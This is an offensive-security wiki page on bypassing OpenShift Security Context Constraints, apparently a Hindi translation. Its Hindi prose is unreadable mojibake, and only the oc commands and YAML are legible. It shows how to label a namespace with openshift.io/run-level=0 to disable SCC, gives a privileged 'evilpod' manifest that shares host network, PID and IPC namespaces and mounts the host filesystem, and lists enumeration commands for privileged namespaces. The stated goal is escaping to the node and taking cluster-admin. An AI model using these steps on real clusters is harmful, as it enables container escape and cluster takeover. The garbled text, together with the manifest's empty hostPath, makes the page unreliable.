OpenShift - SCC bypass

рдЗрд╕ рдкреЗрдЬ рдХреЗ рдореВрд▓ рд▓реЗрдЦрдХ рд╣реИрдВ Guillaume

рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░рд┐рдд рдиреЗрдорд╕реНрдкреЗрд╕

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, SCC рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдкрд░ рд▓рд╛рдЧреВ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ:

  • default

  • kube-system

  • kube-public

  • openshift-node

  • openshift-infra

  • openshift

рдпрджрд┐ рдЖрдк рдЗрдирдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдиреЗрдорд╕реНрдкреЗрд╕ рдореЗрдВ рдкреЙрдб рдбрд┐рдкреНрд▓реЙрдп рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдХреЛрдИ SCC рдкреНрд░рд╡рд░реНрддрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬрд┐рд╕рд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХреГрдд рдкреЙрдб рдбрд┐рдкреНрд▓реЙрдп рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рд╣реЛрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдиреЗрдорд╕реНрдкреЗрд╕ рд▓реЗрдмрд▓

RedHat рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдЖрдкрдХреЗ рдкреЙрдб рдкрд░ SCC рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рд╣реИред рдЖрдкрдХреЗ рдкрд╛рд╕ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрдорддрд┐ рдореЗрдВ рд╕реЗ рдХрдо рд╕реЗ рдХрдо рдПрдХ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП:

  • рдПрдХ рдиреЗрдорд╕реНрдкреЗрд╕ рдмрдирд╛рдПрдВ рдФрд░ рдЗрд╕ рдиреЗрдорд╕реНрдкреЗрд╕ рдкрд░ рдПрдХ рдкреЙрдб рдмрдирд╛рдПрдВ

  • рдПрдХ рдиреЗрдорд╕реНрдкреЗрд╕ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░реЗрдВ рдФрд░ рдЗрд╕ рдиреЗрдорд╕реНрдкреЗрд╕ рдкрд░ рдПрдХ рдкреЙрдб рдмрдирд╛рдПрдВ

$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

рд╡рд┐рд╢рд┐рд╖реНрдЯ рд▓реЗрдмрд▓ openshift.io/run-level рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреНрд╕ рдХреЗ рд▓рд┐рдП SCCs рдХреЛ рджрд╛рдпрд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред RedHat рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдЬрдм рдЗрд╕ рд▓реЗрдмрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЙрд╕ рдиреЗрдорд╕реНрдкреЗрд╕ рдХреЗ рд╕рднреА рдкреЙрдбреНрд╕ рдкрд░ рдХреЛрдИ SCC рдкреНрд░рд╡рд░реНрддрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХрд┐рд╕реА рднреА рдкреНрд░рддрд┐рдмрдВрдз рдХреЛ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рд▓реЗрдмрд▓ рдЬреЛрдбрд╝реЗрдВ

рдЕрдкрдиреЗ рдиреЗрдорд╕реНрдкреЗрд╕ рдореЗрдВ рд▓реЗрдмрд▓ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП:

$ oc label ns MYNAMESPACE openshift.io/run-level=0

рдПрдХ рдиреЗрдорд╕реНрдкреЗрд╕ рд▓реЗрдмрд▓ рдХреЗ рд╕рд╛рде рдПрдХ YAML рдлрд╝рд╛рдЗрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

рдЕрдм, рдиреЗрдорд╕реНрдкреЗрд╕ рдкрд░ рдмрдирд╛рдП рдЧрдП рд╕рднреА рдирдП рдкреЙрдбреНрд╕ рдХреЗ рдкрд╛рд╕ рдХреЛрдИ рднреА SCC рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

SCC рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдореЗрдВ, рдЖрдкрдХреЗ рдкреЙрдб рдкрд░рд┐рднрд╛рд╖рдг рдкрд░ рдХреЛрдИ рдкреНрд░рддрд┐рдмрдВрдз рдирд╣реАрдВ рд╣реЛрддрд╛ред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдПрдХ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рдкреЙрдб рдЖрд╕рд╛рдиреА рд╕реЗ рд╣реЛрд╕реНрдЯ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рднрд╛рдЧ рдирд┐рдХрд▓ рд╕рдХрддрд╛ рд╣реИред

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

рдЕрдм, рдпрд╣ рдЙрдиреНрдирддрд┐рдпреЛрдВ рдХреЛ рдЙрдЪреНрдЪрд╛рдзрд┐рдХрд╛рд░ рддрдХ рдмрдврд╝рд╛рдирд╛ рдЖрд╕рд╛рди рд╣реЛ рдЧрдпрд╛ рд╣реИ рддрд╛рдХрд┐ рдореЗрдЬрд╝рдмрд╛рди рд╕рд┐рд╕реНрдЯрдо рддрдХ рдкрд╣реБрдВрдЪрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рдкреВрд░реЗ рдХреНрд▓рд╕реНрдЯрд░ рдХреЛ рд╣рд╛рд╕рд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, 'рдХреНрд▓рд╕реНрдЯрд░-рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ' рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реБрдПред Node-Post Exploitation рднрд╛рдЧ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдореЗрдВ рджреЗрдЦреЗрдВ:

рдХрд╕реНрдЯрдо рд▓реЗрдмрд▓

рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рд▓рдХреНрд╖рд┐рдд рд╕реЗрдЯрдЕрдк рдкрд░ рдЖрдзрд╛рд░рд┐рдд, рдХреБрдЫ рдХрд╕реНрдЯрдо рд▓реЗрдмрд▓ / рдПрдиреЛрдЯреЗрд╢рди рднреА рдкрд┐рдЫрд▓реЗ рд╣рдорд▓реЗ рдХреЗ рд╕реНрдерд┐рддрд┐ рдХреЗ рддрд░реАрдХреЗ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдпрджреНрдпрдкрд┐ рдпрд╣ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ рд╣реИ, рддреЛ рд▓реЗрдмрд▓ рдХреЛ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рджреЗрдиреЗ, рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдпрд╛ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рд╕рдВрд╕рд╛рдзрди рдХреЛ рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдпрджрд┐ рдЖрдк рдХреБрдЫ рд╕рдВрд╕рд╛рдзрди рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдХрд╕реНрдЯрдо рд▓реЗрдмрд▓ рдЦреЛрдЬрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред рдпрд╣рд╛рдБ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреА рд╕реВрдЪреА рд╣реИ:

  • рдкреЙрдб

  • рдбрд┐рдкреНрд▓реЙрдпрдореЗрдВрдЯ

  • рдиреЗрдорд╕реНрдкреЗрд╕

  • рд╕реЗрд╡рд╛

  • рд░реВрдЯ

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

рд╕рднреА рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдиреЗрдорд╕реНрдкреЗрд╕ рдХреА рд╕реВрдЪреА

$ oc get project -o yaml | grep 'run-level' -b5

рдЙрдиреНрдирдд рдЙрддреНрдкреАрдбрд╝рди

OpenShift рдореЗрдВ, рдЬреИрд╕рд╛ рдкрд╣рд▓реЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛, openshift.io/run-level рд▓реЗрдмрд▓ рд╡рд╛рд▓реЗ рдиреЗрдорд╕реНрдкреЗрд╕ рдореЗрдВ рдкреЙрдб рдбрд┐рдкреНрд▓реЙрдп рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реЛрдиреЗ рд╕реЗ рдХреНрд▓рд╕реНрдЯрд░ рдХрд╛ рд╕реАрдзрд╛ рдЕрдзрд┐рдХрд╛рд░ рд▓реЗрдирд╛ рд╕рдВрднрд╡ рд╣реИред рдХреНрд▓рд╕реНрдЯрд░ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ, рдпрд╣ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдЕрдХреНрд╖рдо рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ OpenShift рдХреЗ рдбрд┐рдЬрд╝рд╛рдЗрди рдореЗрдВ рдирд┐рд╣рд┐рдд рд╣реИред

рд╣рд╛рд▓рд╛рдВрдХрд┐, Open Policy Agent GateKeeper рдЬреИрд╕реА рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЗрд╕ рд▓реЗрдмрд▓ рдХреЛ рд╕реЗрдЯ рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХ рд╕рдХрддреА рд╣реИред

GateKeeper рдХреЗ рдирд┐рдпрдореЛрдВ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░рдиреЗ рдФрд░ рдЗрд╕ рд▓реЗрдмрд▓ рдХреЛ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреНрд▓рд╕реНрдЯрд░ рдЕрдзрд┐рдХрд╛рд░ рд▓реЗрдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рд╡реИрдХрд▓реНрдкрд┐рдХ рддрд░реАрдХреЗ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреА рд╣реЛрдЧреАред

рд╕рдВрджрд░реНрдн

Last updated